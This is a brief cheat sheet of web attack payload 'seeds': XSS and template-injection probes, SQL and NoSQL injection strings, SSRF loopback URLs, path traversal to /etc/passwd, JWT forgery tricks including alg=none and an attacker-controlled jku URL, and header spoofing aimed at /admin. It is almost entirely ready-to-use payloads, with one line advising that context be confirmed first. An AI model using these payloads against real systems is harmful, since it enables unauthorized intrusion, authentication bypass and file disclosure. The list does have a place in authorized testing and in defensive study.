Web Payload Seeds

These are starting points, not final exploits. Always confirm context first.

Reflection / HTML

<test>
"'><svg/onload=alert(1)>
{{7*7}}
${7*7}

SQLi

'
"
' OR '1'='1'--
' AND '1'='2'--
1 OR 1=1
1 AND 1=2

NoSQLi JSON

{"username":{"$ne":null},"password":{"$ne":null}}
{"$or":[{"role":"admin"},{"role":{"$ne":"user"}}]}

SSRF

http://127.0.0.1/
http://localhost/
http://[::1]/
http://2130706433/
http://allowed.example@127.0.0.1/

Traversal

../
../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
....//....//etc/passwd

JWT

alg=none
kid=../../../../dev/null
jku=https://attacker-controlled/jwks.json

Headers

X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Original-URL: /admin
X-Rewrite-URL: /admin